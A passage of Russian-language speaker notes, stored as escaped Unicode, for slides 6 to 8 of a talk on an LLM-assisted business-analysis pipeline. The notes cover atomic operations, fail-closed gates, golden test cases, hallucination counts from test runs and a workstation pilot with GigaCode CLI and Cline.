\u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 